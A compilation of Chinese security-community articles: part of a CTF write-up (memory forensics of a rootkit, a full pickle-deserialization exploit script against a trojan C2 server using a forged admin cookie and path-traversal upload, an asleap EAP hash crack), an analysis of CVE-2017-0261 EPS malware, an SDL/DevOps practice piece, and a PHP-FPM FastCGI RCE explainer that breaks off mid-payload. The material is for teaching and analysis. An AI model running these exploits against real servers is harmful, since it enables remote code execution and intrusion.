linux_enumerate_files - Lists files referenced by the filesystem cache
linux_find_file - Lists and recovers files from memory
linux_getcwd - Lists current working directory of each process
linux_hidden_modules - Carves memory to find hidden kernel modules
linux_ifconfig - Gathers active interfaces
linux_info_regs - It's like 'info registers' in GDB. It prints out all the
linux_iomem - Provides output similar to /proc/iomem
linux_kernel_opened_files - Lists files that are opened from within the kernel
linux_keyboard_notifiers - Parses the keyboard notifier call chain
linux_ldrmodules - Compares the output of proc maps with the list of libraries from libdl
linux_library_list - Lists libraries loaded into a process
linux_librarydump - Dumps shared libraries in process memory to disk
linux_list_raw - List applications with promiscuous sockets
linux_lsmod - Gather loaded kernel modules
linux_lsof - Lists file descriptors and their path
linux_malfind - Looks for suspicious process mappings
linux_memmap - Dumps the memory map for linux tasks
linux_moddump - Extract loaded kernel modules
linux_mount - Gather mounted fs/devices
linux_mount_cache - Gather mounted fs/devices from kmem_cache
linux_netfilter - Lists Netfilter hooks
linux_netscan - Carves for network connection structures
linux_netstat - Lists open sockets
linux_pidhashtable - Enumerates processes through the PID hash table
linux_pkt_queues - Writes per-process packet queues out to disk
linux_plthook - Scan ELF binaries' PLT for hooks to non-NEEDED images
linux_proc_maps - Gathers process memory maps
linux_proc_maps_rb - Gathers process maps for linux through the mappings red-black tree
linux_procdump - Dumps a process's executable image to disk
linux_process_hollow - Checks for signs of process hollowing
linux_psaux - Gathers processes along with full command line and start time
linux_psenv - Gathers processes along with their static environment variables
linux_pslist - Gather active tasks by walking the task_struct->task list
linux_pslist_cache - Gather tasks from the kmem_cache
linux_psscan - Scan physical memory for processes
linux_pstree - Shows the parent/child relationship between processes
linux_psxview - Find hidden processes with various process listings
linux_recover_filesystem - Recovers the entire cached file system from memory
linux_route_cache - Recovers the routing cache from memory
linux_sk_buff_cache - Recovers packets from the sk_buff kmem_cache
linux_slabinfo - Mimics /proc/slabinfo on a running machine
linux_strings - Match physical offsets to virtual addresses (may take a while, VERY verbose)
linux_threads - Prints threads of processes
linux_tmpfs - Recovers tmpfs filesystems from memory
linux_truecrypt_passphrase - Recovers cached Truecrypt passphrases
linux_vma_cache - Gather VMAs from the vm_area_struct cache
linux_volshell - Shell in the memory image
linux_yarascan - A shell in the Linux memory image
一般rootkit可能已注入系统模块或驱动,用`linux_lsmod`查看一下系统模块
>python vol.py -f ram.lime --profile=Linuxubuntu1604x64 linux_lsmod
Volatility Foundation Volatility Framework 2.6
ffffffffc05a3040 lime 20480
ffffffffc05e6040 w1ndsko 20480
ffffffffc05ec1c0 vmw_balloon 20480
......
但是不确定哪个是rootkit模块,那利用`linux_moddump`指令将所有加载的模块都导出来
看名字猜测`w1ndsko`比较可疑，IDA反编译一下
其中一串`Oh8E0oM1XfDBSAFqtRr9cvzx`应该是密文，ubuntu16.04中保存为1.txt，与rootkit模块同目录
模拟加载rootkit模块(`insmod w1nds.ko`)，自动将1.txt替换为flag:`flag{now_u_know_r00tkit}`
# 木马回溯
APK是木马客户端，动态抓取或简单解密即可得到上线地址，因检测了模拟器，需patch掉模拟器检测的部分
APK中字段及URL地址的加密密钥为`8885934cdd747de041c0f4278a4aaf634a0c985a6a7b0b624e1255acd9427a91`,加密方法为AES/ECB/PKCS5，
直接用cyberchef等宫工具解密相关hash即可
抓到服务器地址之后扫描一下发现img目录下存在目录遍历，抓包发现中间件是nginx1.10.3
利用/img../可浏览上一级目录的文件
无法直接下载py文件，在`__pycache__`中找到pyc文件可下载，下载并反编译
对py进行分析，发现存在反序列化漏洞，主要功能函数调试代码如下，去掉了加解密的过程及部分过滤判断，可单独运行进行调试
#coding:utf-8
from flask import Flask, request,render_template_string,session
import pickle,hashlib,json
import datetime
app = Flask(__name__)
app.permanent_session_lifetime = datetime.timedelta(hours=1)# attention: cookie 1 hour valid, change session every hour
app.debug=False
app.config["SECRET_KEY"] = "3655c56ec2edae6d29ddaf1d8379b7728bca"
@app.route("/")
def index():
name = 'guest'
if 'user' not in session:
session['user']=name
if session['user']=='admin':
template = u'''
<div class="center-content">
<h1>Oops! You are admin!</h1>
</div>
'''
else:
template="Hello, " + session['user']+"\n\n\n\n\n"
return render_template_string(template)
@app.route("/upload",methods=['POST','GET'])
def upload():
try:
f=request.files['myfile']
data=f.read()
f.seek(0,0)
f.save('./img/'+f.filename)
except:
return ''
return ''
@app.route("/online",methods=['POST','GET'])
def online():
try:
pcinfo=json.loads(request.data.decode())
print(pcinfo)
sernum=hashlib.md5((pcinfo['IMEI']+pcinfo['RAND']).encode('utf8')).hexdigest()
file=open('./remote_mobile/'+sernum+'.dat','wb')
xx={'makers':pcinfo['makers'],'IMEI':pcinfo['IMEI'],'RAND':pcinfo['RAND']}
pickle.dump(xx,file)
file.close()
except Exception as e:
return ''
return ''
@app.route("/search",methods=['POST','GET'])
def search():
try:
if session['user']!='admin':
return 'no auth'
sx=request.form.get('serial')
if len(sx)==32:
f=open('./remote_mobile/%s.dat'%sx,'rb')
pc=pickle.load(f)
print(pc)
return pc['makers']+'\n'+pc['IMEI']+'\n'+pc['RAND']
except Exception as e:
return str(e)
return 'no auth'
if __name__ == "__main__":
app.run()
`/online`可将肉鸡的手机信息数据序列化后保存为文件`./remote_mobile/{sernum}.dat`
`/search`必须在admin账户下执行，将``./remote_mobile/{sernum}.dat`内容读取并反序列化解码，可以执行指令
`/upload`可上传文件保存到`img`目录下，可以上传序列化到文件中
构造反序列化字符串通过upload功能路径穿越替换dat文件，执行反序列化payload还需要admin权限，通过源码泄露的secret_key构造一个admin的cookie，即可执行指令。
可直接指向指令反弹shell，或写入flag内容到可读取的目录中，或利用反序列化命令执行将flag内容读取替换到`remote_mobile`下文件反序列化内容中中，次执行反序列化即可将flag打印出来
调试利用脚本如下：
import requests,hashlib,pickle,json
pcinfol={"makers":"aa","IMEI":"1380000100","RAND":"a"*40}
pcinfo2={"makers":"22","IMEI":"1380000000","RAND":"a"*40}#RAND match flag length
pcinfol=str(json.dumps(pcinfol))
pcinfo2=str(json.dumps(pcinfo2))
print(pcinfol)
print(pcinfo2)
class EXP(object):
def __init__(self,sernum):
self.sernum=sernum
def __reduce__(self):
#return eval, ("__import__('os').system('a=`cat /*flag*`;echo $a > ./img/xy.txt')",)#put flag in folder where you can read
return eval, ("__import__('os').system('a=`cat /*flag*`;sed -i \"s/{y}/$a/\" ./remote_mobile/{x}.dat')".format(x=self.sernum,y='a'*40),) # guest length of flag may be 40
def exp(ip, port):
try:
BaseUrl="http://%s:%d/"%(ip, port)
a=requests.Session()
cookie={'session':'eyJ1c2VyIjoiYWRtaW4ifQ.Xfw22w.bW7LJnDE9jLpkZ_LQ3OlGN4Qy2c'}
a.cookies=requests.utils.cookiejar_from_dict(cookie,cookiejar=None,overwrite=True)
a.post(url=BaseUrl+'online',data=pcinfol,headers={'content-Type': 'xxx'})
x=a.post(url=BaseUrl+'online',data=pcinfo2,headers={'content-Type': 'xxx'})
print(x.text)
sernum1=hashlib.md5((eval(pcinfol)["IMEI"]+eval(pcinfol)["RAND"]).encode('utf8')).hexdigest() #filename1
sernum2=hashlib.md5((eval(pcinfo2)["IMEI"]+eval(pcinfo2)["RAND"]).encode('utf8')).hexdigest()#filename2
print(sernum1)
print(sernum2)
exp2=EXP(sernum2) # py unsearilize
tmp_file_name='ff.dat'
f=open(tmp_file_name,'wb')
pickle.dump(exp2,f)
f.close()
files={'myfile': ("../remote_mobile/{sernum}.dat".format(sernum=sernum1),open(tmp_file_name, 'rb'))}
r=a.post(BaseUrl + "upload", files=files) #upload unsearilize content into file
datal={"serial": sernum1}
data2={"serial": sernum2}
r=a.post(BaseUrl + 'search' ,data=datal)#execute unsearilize payload
print(r.text)
r=a.post(BaseUrl + 'search', data=data2)#execute cat flag
print(r.text)
return True
except Exception as e :
print(str(e))
return False
return False
if __name__== "__main__" :
print(exp('127.0.0.1', 5000))
# 智能合约
EVM bytecode逆向，详见<https://xz.aliyun.com/t/6934#toc-0> ， 不再赘叙
# hack eap
`黑客攻击了某企业的无线网络，你能通过数据分析找到入侵者么？入侵者在传送数据时暴露了自己的信息，你可以通过企业地址的oui解开他的NThash么`
`Hint: PEAP-MSV2`
根据猜测，无线攻击经常可能会出现DOS攻击，先分析一下数据包中的Deauth数据包
`wlan.fc.type_subtype == 12`
得到受攻击的企业网络AP的MAC地址为`d6:b0:fd:eb:91:d5`
过滤连接该MAC地址的数据包
`wlan.da == d6:b0:fd:eb:91:d5`
过滤后发现`60:02:b4:77:64:63`向该地址发送LL数据包文，获得挑战码与响应码如下：
挑战码：
`6c656e67652d34303a65333a33653a31663a36353a38643a61363a3161`
解码为`lenge-40:e3:3e:1f:65:8d:a6:1a`
响应码
`706f6e73652d76616c75653a61353a37363a32343a33663a39393a33653a31653a32383a38383a64333a33623a66353a31343a32373a34663a66383a62613a36343a36653a34373a62613a62343a37313a6333`
hex解码得到`ponse-value:a5:76:24:3f:99:3e:1e:28:88:d3:3b:f5:14:27:4f:f8:ba:64:6e:47:ba:b4:71:c3`
利用kali里的asleap工具爆破密码，根据题目提示，密码可能为AP-MAC地址的 OUI：`d6:b0:fd`
(OUI为MAC地址的前3个hex字节，标识硬件制造商编号，一般为大写形式)
root@kali:~# echo "D6:B0:FD" > pass.txt
root@kali:~# asleap -C 40:e3:3e:1f:65:8d:a6:1a -R a5:76:24:3f:99:3e:1e:28:88:d3:3b:f5:14:27:4f:f8:ba:64:6e:47:ba:b4:71:c3 -W pass.txt
asleap 2.2 - actively recover LEAP/PPTP passwords. <[email protected]>
Using wordlist mode with "pass.txt".
hash bytes: be11
NT hash: ab581d2b235f02641bf4cd1759f2be11
password: D6:B0:FD
#flag为flag{ab581d2b235f02641bf4cd1759f2be11}
# web渗透-note
详见<https://xz.aliyun.com/t/6894#toc-8>, 不再赘叙
* * *
部分离线题目文件下载地址：<https://pan.baidu.com/s/1Qokv9mRSvNAM1D3Hg2egdQ> 提取码：xtus | 社区文章 |
**作者:Yenn_
原文链接: <https://0xdf1001f.github.io/2021/01/19/eps-malware/>**
## EPS
**EPS** （英文全称：Encapsulated PostScript）是PostScript的一种延伸类型，是目前系统中功能最强的一种图像文件格式。
最近发现一个印度白象组织的样本，样本中使用了CVE 2017-0261的漏洞。
打开Office文档时，FLTLDR.EXE将被用于渲染包含该漏洞的嵌入式EPS文件。该文件是由PostScript语言编写而成，可以被攻击者通过”save-restore”操作利用，其本质为一UAF漏洞。 当用户打开包含格式错误的图形图像的文件时，或者当用户将格式错误的图形图像插入到 Office
文件时，该漏洞可能会受到利用。
## 样本情况
File Name : Chinese_Pakistani_fighter_planes_play_war_games.docx
File Size : 464,356 Byte
File md5 : 6d63dc5cdb504f3365403c1296e696a0
样本打开后如图：
打开样本后，可以看见启动了子进程FLTLDR.EXE，虽然存活时间很短，至少它启动了。
## 如何调试恶意代码
.EPS恶意代码存放在Word中的\word\media\目录下，7z打开.doc文件拖出来即可
在调试的时候发现，Word文档的.EPS和韩国HWP的.EPS调试好像不太一样，韩国的HWP可以直接用cerbero_suite_advanced将其中的Shellcode解压出来，但是Word文档不行。
后来在Github找到了一个LoadEPS的软件，<https://github.com/pdfswf/eps-CVE-2017-0261>
具体使用方法，将样本的.eps恶意文件放入\done\文件夹内覆盖poc.eps，利用loadeps.exe加载恶意.eps,然后使用OD加载loadeps.exe,这里可以用镜像劫持加载，也可以先用OD加载loadeps.exe然后在OD内修改参数
加载后如图：
加载后在4011EE地址处下断，F7步入，Alt+M找到EPSIMP32的加载基址
用IDA打开前面文件内的EPSIMP32.idb，修改基址，定位到closefile的地址
到了closefile_proc的地址，往下找到ROP链执行Shellcode的地方下断
F7步入，可以发现有VirtualProtect函数修改内存页属性为PAGE_EXECUTE_READWRITE，这里的内存地址就是Shellcode存在的地址，可以跟过去调试了
## Shellcode
申请内存，获取API地址
硬编码kernel32.dll，ntdll.dll加载并从中获取函数地址
展开系统变量，获取路径%windir%\temp，并在目录内创建一个文件然后又马上删除
检查WINWORD.exe进程，随便点开一个word文档，保存WINWORD进程存在
这里需要F7进去手动修改一下，因为这样本在获取函数地址的时候，没有获取到CreateToolhelp32Snapshot这个函数，导致call
edi的时候edi寄存器为0，程序会出错，需要手动修改edi的值为CreateToolhelp32Snapshot的函数地址
遍历进程，判断WINWORD.EXE是否存在
创建文件“C:\Users\sam\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\MSBuild.exe”
将一个PE文件写入创建的MSBuild.exe中
这里PE文件来自于.eps文件中的内容，与老版本不同的是，老版本是直接写在.eps中只需要添加MZ即可，这里是通过XOR
0x16082019的计算后得出，每四字节与key 0x16082019 进行异或计算
这里可以写一个JS代码测试一下，在浏览器console直接运行
function xor(str){
var arr = str.split(" ");
var s = "";
for(var i in arr) s += (parseInt("0x" + arr[i]) ^ 0x16082019).toString(16) + " ";
console.log(s.toUpperCase());
}
再次给样本修复CreateToolhelp32Snapshot的地址，样本会遍历进程查找explorer.exe进程并向其中注入代码
注入的代码也来自于.eps文件中
注入代码的功能是启动前面释放的MSBuild.exe
创建一个隐藏文件
“C:\ProgramData/Microsoft/DeviceSync/Chinese_Pakistani_fighter_planes_play_war_games_to_prove_a_point_to_India.docxt”并将.EPS中的一个Word文档写入
创建进程执行这个释放出的文档然后退出进程
.eps的代码到这里结束，后面的情况就好分析了
* * * | 社区文章 |
Author:@好好学习英语的abc
* * *
## 一、前言
一般安全都属于运维部下面，和上家公司的运维总监聊过几次一些日常安全工作能不能融入到DevOps中，没多久因为各种原因离职。18年入职5月一家第三方支付公司，前半年在各种检查中度过，监管形势严峻加上大领导对安全的重视(主要还是监管)，所有部门19年的目标都和安全挂钩。由于支付公司需要面对各种监管机构的检查，部分安全做的比较完善，经过近一年对公司的熟悉发现应用安全方面比较薄弱。这部分业内比较好的解决方案就是SDL，和各厂商交流过之后决定自己照葫芦画瓢在公司一点一点推广。
上图为标准版的SDL,由于运维采用DevOps体系，测试也使用自动化进行功能测试，版本迭代周期比较快,安全人手不足加上对SDL的威胁建模等方法也一头雾水、如果把安全在加入整个流程会严重影响交付时间。在这种情况调研了一些业内的一些做法，决定把SDL精简化
。精简版SDL如下：
.
## 二、精简版SDL落地实践
### 安全培训
SDL核心之一就是安全培训，所以在安全培训上我们做了安全编码、安全意识、安全知识库、安全SDK
#### 安全编码：
我们在网上找了一些java安全编码规范、产品安全设计及开发安全规范结合公司实际业务出了一版。
因为各种监管机构对培训都有要求，借此推了一下安全培训，定期对开发和新员工入职的培训。
#### 安全意识：
公司有企业微信公众号，大部分员工都关注了，在公众号推广了一波。
宣传完之后答题，答题满分送小礼品
因为人手不足，而功能测试和安全测试本质上有很多相通的地方，测试部门也比较配合，针对测试人员做了一些安全测试相关的培训，但是效果并不是太理想。
#### 安全知识库：
在漏洞修复过程中，开发很多不太了解漏洞原理、修复方案，所以我们建立了安全知识库，开发先到安全知识库查相关解决方法。找不到的再和安全人员沟通，安全人员对知识库不断更新，形成一个闭环。
#### 安全SDK
由于公司有架构部门，开发框架基本是架构部门提供。我们将一些常见的漏洞和架构部门沟通之后，让架构将一些漏洞修复方式用SDK实现，开发只需要导入JAR包，在配置文件中配置即可。其中也挺多坑的，需要慢慢优化。
## 三、 安全需求设计
公司有项目立项系统，所有的项目立项都需要通过系统来进行立项，安全为必选项，评审会安全也必须要参与
这个时候基本上项目经理会找安全人员进行沟通，copy了一份VIP的产品安全设计规范，根据需求文档和项目经理确定安全需求。
确认好安全需求之后将按需求加入到需求文档，并确认安全测试时间，此流程只针对新项目，已经上线的项目的需求并未按照此流程，后续在安全测试时候会讲到这部分的项目是怎么做的。
## 四、开发、安全测试
安全测试主要分为代码审计，漏洞扫描，手工安全测试。由此衍生出来的安全产品分为3类。DAST：动态应用程序安全测试
（wvs,appscan）、SAST：静态应用程序安全测试 (fortify,rips)、IAST：交互式应用程序安全测试
（seeker，雳鉴）,这三种产品的详细介绍可以参考<https://www.aqniu.com/learn/46910.html,下图为三种产品的测试结果对比。>
这几类产品实现了自动化可以继承到DevOps中。接下来我们将这些工具融入到开发测试阶段。
IAST的实现模式较多，常见的有代理模式、VPN、流量镜像、插桩模式，本文介绍最具代表性的2种模式，代理模式和插桩模式。一些调研过的产品如下图，具体测试结果就不公布了。
### 开发阶段
在对几类产品调研的时候发现IAST的插桩模式可以直接放到开发环境，开发环境和测试环境的代码区别主要还是在于application.yml配置文件，所以可以提前将该模式放到开发阶段。
开发写完代码提交到gitlab部署到开发环境启动应用的时候，开发需要验证一下功能是否可用，这个时候就可以检测出是否存在漏洞。
公司在测试环境使用rancher，把IAST的jar包放入到项目的gitlab,在部署的时候把代码拉到本地，通过修改Dockerfile文件把jar包添加到容器。
ADD shell/xxx.jar /home/app/xx/lib
由于公司项目基本统一使用spring-boot，所有的项目都通过一个start.sh脚本来启动应用，start.sh和Dockerfile一样需要添加到项目的gitlab，同时修改start.sh脚本文件即可。
-javaagent:$APP_HOME/lib/xx.jar -jar $APP_HOME/app/*.jar --spring.profiles.active=dev >$APP_HOME/logs/startup.log 2>&1 &
测试项目如下，忽略错别字：
开发提交代码部署完之后，访问一下正常的功能即可在平台上看见是否存在漏洞。
部分产品同时还会检测第三方组件包。
公司使用harbor来对镜像进行当仓库镜像，项目部署完成之后会打包成一个镜像上传到harbor，harbor自带镜像扫描功能。
### 测试阶段
开发完成之后进入到测试阶段。这个阶段我们进行静态代码扫描，功能测试，安全测试。
#### 静态代码扫描
利用静态代码扫描工具对代码在编译之前进行扫描，并在静态代码层面上发现各种问题，其中包括安全问题。部分工具列表：
静态代码扫描我们采用sonarQube集成，我们使用的是FindbugSecurity,精简规则，然后在持续构建过程中，进行静态代码bug,安全扫描。
静态代码扫描的同时也可以扫描第三方依赖包，OWSAP的Dependency-Check就可以集成到持续构建过程中，由于IAST类产品支持该功能，不多做介绍。
#### 功能测试
功能测试方面，公司测试部门实现了自动化测试平台，前期我们并未使用agent的方式检测，一开始使用开源的gourdscan加上openrasp，利用openrasp的默认开启不拦截模式和漏洞记录功能来检测服务端无返回的漏洞。
只需要在自动化平台上配置代理IP：
openrasp漏洞记录
后来测试反馈扫描的脏数据太多，效果也并不是很好，就放弃了此方案。改用开发阶段的IAST的插桩方式，同样在测试环境也和开发环境一样利用agent来检测问题。功能测试完成之后。由于测试人员对漏洞并不是太理解，所以定的流程为测试人员到平台查看报告和安全人员沟通哪些问题需要修复，然后将问题写入到测试报告
#### 安全测试
在测试阶段已经将安全加入到整个流程里面，所有需求更改完成都需要通过功能测试，也就是所有的流程过一遍安全测试，这样安全人手也不是很足，决定采用内外服务区分的办法来确定是否需要安全人员介入
#### 漏洞管理
漏洞管理这一块制定了漏洞管理制度，根据影响程度对漏洞进行评级，严重漏洞必须改完之后才能上线，高中低危漏洞且影响较小需要排期，安全人员定期跟踪漏洞修复情况。
## 五、 监控
支付公司一般安全设备基本都有，这一块基本上将设备的syslog打到日志中心可视化，并定制对应的规则实现告警即可
## 六、结束语
个人知识和经验不足对sdl的体系并不是很熟悉，没什么经验，所以只能做到目前的程度。后续还有许多地方可以优化，增加流程等。如果有什么好的建议欢迎交流。 | 社区文章 |
来源： **[离别歌](https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)**
作者：[ **phithon@长亭科技**](https://www.leavesongs.com/)
搭过php相关环境的同学应该对fastcgi不陌生，那么fastcgi究竟是什么东西，为什么nginx可以通过fastcgi来对接php？
## Fastcgi Record
Fastcgi其实是一个通信协议，和HTTP协议一样，都是进行数据交换的一个通道。
HTTP协议是浏览器和服务器中间件进行数据交换的协议，浏览器将HTTP头和HTTP体用某个规则组装成数据包，以TCP的方式发送到服务器中间件，服务器中间件按照规则将数据包解码，并按要求拿到用户需要的数据，再以HTTP协议的规则打包返回给服务器。
类比HTTP协议来说，fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成，record也有header和body一说，服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端，语言后端解码以后拿到具体数据，进行指定操作，并将结果再按照该协议封装好后返回给服务器中间件。
和HTTP头不同，record的头固定8个字节，body是由头中的contentLength指定，其结构如下：
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
头由8个uchar类型的变量组成，每个变量1字节。其中，`requestId`占两个字节，一个唯一的标志id，以避免多个请求之间的影响；`contentLength`占两个字节，表示body的大小。
语言端解析了fastcgi头以后，拿到`contentLength`，然后再在TCP流里读取大小等于`contentLength`的数据，这就是body体。
Body后面还有一段额外的数据（Padding），其长度由头中的paddingLength指定，起保留作用。不需要该Padding的时候，将其长度设置为0即可。
可见，一个fastcgi record结构最大支持的body大小是`2^16`，也就是65536字节。
## Fastcgi Type
刚才我介绍了fastcgi一个record中各个结构的含义，其中第二个字节`type`我没详说。
`type`就是指定该record的作用。因为fastcgi一个record的大小是有限的，作用也是单一的，所以我们需要在一个TCP流里传输多个record。通过`type`来标志每个record的作用，用`requestId`作为同一次请求的id。
也就是说，每次请求，会有多个record，他们的`requestId`是相同的。
借用[该文章](http://blog.csdn.net/shreck66/article/details/50355729)中的一个表格，列出最主要的几种`type`：
看了这个表格就很清楚了，服务器中间件和后端语言通信，第一个数据包就是`type`为1的record，后续互相交流，发送`type`为4、5、6、7的record，结束时发送`type`为2、3的record。
当后端语言接收到一个`type`为4的record后，就会把这个record的body按照对应的结构解析成key-value对，这就是环境变量。环境变量的结构如下：
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength
((B3 & 0x7f) 24) + (B2 16) + (B1 8) + B0];
} FCGI_NameValuePair14;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength
((B3 & 0x7f) 24) + (B2 16) + (B1 8) + B0];
unsigned char valueData[valueLength];
} FCGI_NameValuePair41;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength
((B3 & 0x7f) 24) + (B2 16) + (B1 8) + B0];
unsigned char valueData[valueLength
((B3 & 0x7f) 24) + (B2 16) + (B1 8) + B0];
} FCGI_NameValuePair44;
这其实是4个结构，至于用哪个结构，有如下规则：
1. key、value均小于128字节，用`FCGI_NameValuePair11`
2. key大于128字节，value小于128字节，用`FCGI_NameValuePair41`
3. key小于128字节，value大于128字节，用`FCGI_NameValuePair14`
4. key、value均大于128字节，用`FCGI_NameValuePair44`
为什么我只介绍`type`为4的record？因为环境变量在后面PHP-FPM里有重要作用，之后写代码也会写到这个结构。`type`的其他情况，大家可以自己翻文档理解理解。
## PHP-FPM（FastCGI进程管理器）
那么，PHP-FPM又是什么东西？
FPM其实是一个fastcgi协议解析器，Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁？其实就是传给FPM。
FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子，用户访问`http://127.0.0.1/index.php?a=1&b=2`，如果web目录是`/var/www/html`，那么Nginx会将这个请求变成如下key-value对：
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中`$_SERVER`数组的一部分，也就是PHP里的环境变量。但环境变量的作用不仅是填充`$_SERVER`数组，也是告诉fpm：“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后，进行解析，得到上述这些环境变量。然后，执行`SCRIPT_FILENAME`的值指向的PHP文件，也就是`/var/www/html/index.php`。
## Nginx（IIS7）解析漏洞
Nginx和IIS7曾经出现过一个PHP相关的解析漏洞（测试环境`https://github.com/phith0n/vulhub/tree/master/nginx_parsing_vulnerability`），该漏洞现象是，在用户访问`http://127.0.0.1/favicon.ico/.php`时，访问到的文件是favicon.ico，但却按照.php后缀解析了。
用户请求`http://127.0.0.1/favicon.ico/.php`，nginx将会发送如下环境变量到fpm里：
{
...
'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',
'SCRIPT_NAME': '/favicon.ico/.php',
'REQUEST_URI': '/favicon.ico/.php',
'DOCUMENT_ROOT': '/var/www/html',
...
}
正常来说，`SCRIPT_FILENAME`的值是一个不存在的文件`/var/www/html/favicon.ico/.php`，是PHP设置中的一个选项`fix_pathinfo`导致了这个漏洞。PHP为了支持Path
Info模式而创造了`fix_pathinfo`，在这个选项被打开的情况下，fpm会判断`SCRIPT_FILENAME`是否存在，如果不存在则去掉最后一个`/`及以后的所有内容，再次判断文件是否存在，往次循环，直到文件存在。
所以，第一次fpm发现`/var/www/html/favicon.ico/.php`不存在，则去掉`/.php`，再判断`/var/www/html/favicon.ico`是否存在。显然这个文件是存在的，于是被作为PHP文件执行，导致解析漏洞。
正确的解决方法有两种，一是在Nginx端使用`fastcgi_split_path_info`将path
info信息去除后，用tryfiles判断文件是否存在；二是借助PHP-FPM的`security.limit_extensions`配置项，避免其他后缀文件被解析。
## `security.limit_extensions`配置
写到这里，PHP-FPM未授权访问漏洞也就呼之欲出了。PHP-FPM默认监听9000端口，如果这个端口暴露在公网，则我们可以自己构造fastcgi协议，和fpm进行通信。
此时，`SCRIPT_FILENAME`的值就格外重要了。因为fpm是根据这个值来执行php文件的，如果这个文件不存在，fpm会直接返回404：
在fpm某个版本之前，我们可以将`SCRIPT_FILENAME`的值指定为任意后缀文件，比如`/etc/passwd`；但后来，fpm的默认配置中增加了一个选项`security.limit_extensions`：
; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7
其限定了只有某些后缀的文件允许被fpm执行，默认是`.php`。所以，当我们再传入`/etc/passwd`的时候，将会返回`Access
denied.`：
> ps. 这个配置也会影响Nginx解析漏洞，我觉得应该是因为Nginx当时那个解析漏洞，促成PHP-> FPM增加了这个安全选项。另外，也有少部分发行版安装中`security.limit_extensions`默认为空，此时就没有任何限制了。
由于这个配置项的限制，如果想利用PHP-FPM的未授权访问漏洞，首先就得找到一个已存在的PHP文件。
万幸的是，通常使用源安装php的时候，服务器上都会附带一些php后缀的文件，我们使用`find / -name "*.php"`来全局搜索一下默认环境：
找到了不少。这就给我们提供了一条思路，假设我们爆破不出来目标环境的web目录，我们可以找找默认源安装后可能存在的php文件，比如`/usr/local/lib/php/PEAR.php`。
## 任意代码执行
那么，为什么我们控制fastcgi协议通信的内容，就能执行任意PHP代码呢？
理论上当然是不可以的，即使我们能控制`SCRIPT_FILENAME`，让fpm执行任意文件，也只是执行目标服务器上的文件，并不能执行我们需要其执行的文件。
但PHP是一门强大的语言，PHP.INI中有两个有趣的配置项，`auto_prepend_file`和`auto_append_file`。
`auto_prepend_file`是告诉PHP，在执行目标文件之前，先包含`auto_prepend_file`中指定的文件；`auto_append_file`是告诉PHP，在执行完成目标文件后，包含`auto_append_file`指向的文件。
那么就有趣了，假设我们设置`auto_prepend_file`为`php://input`，那么就等于在执行任何php文件前都要包含一遍POST的内容。所以，我们只需要把待执行的代码放在Body中，他们就能被执行了。（当然，还需要开启远程文件包含选项`allow_url_include`）
那么，我们怎么设置`auto_prepend_file`的值？
这又涉及到PHP-FPM的两个环境变量，`PHP_VALUE`和`PHP_ADMIN_VALUE`。这两个环境变量就是用来设置PHP配置项的，`PHP_VALUE`可以设置模式为`PHP_INI_USER`和`PHP_INI_ALL`的选项，`PHP_ADMIN_VALUE`可以设置所有选项。（`disable_functions`除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中）
所以，我们最后传入如下环境变量：
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
